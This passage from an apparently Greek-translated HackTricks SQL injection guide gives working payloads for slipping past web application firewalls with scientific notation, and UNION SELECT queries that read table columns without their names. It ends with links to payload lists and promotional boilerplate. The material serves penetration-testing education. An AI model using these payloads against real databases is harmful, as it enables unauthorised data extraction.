group_concat(if(table_schema=database(),table_name,null)) ``` ### Scientific Notation WAF bypass Μπορείτε να βρείτε μια πιο λεπτομερή εξήγηση αυτού του κόλπου στο [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ Βασικά, μπορείτε να χρησιμοποιήσετε την επιστημονική σημειογραφία με απροσδόκητους τρόπους για να παρακάμψετε το WAF: ``` -1' or 1.e(1) or '1'='1 -1' or 1337.1337e1 or '1'='1 ' or 1.e('')= ``` ### Bypass Column Names Restriction Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag` Είναι δυνατόν να **έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της** χρησιμοποιώντας ένα ερώτημα όπως το εξής: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, οπότε σε μια sqlinjection αυτό θα φαίνεται έτσι: ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` Ή χρησιμοποιώντας ένα **comma bypass**: ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) ### WAF bypass suggester tools {% embed url="https://github.com/m4ll0k/Atlas" %} ## Other Guides * [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} ​
​​​​​​​[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία. {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}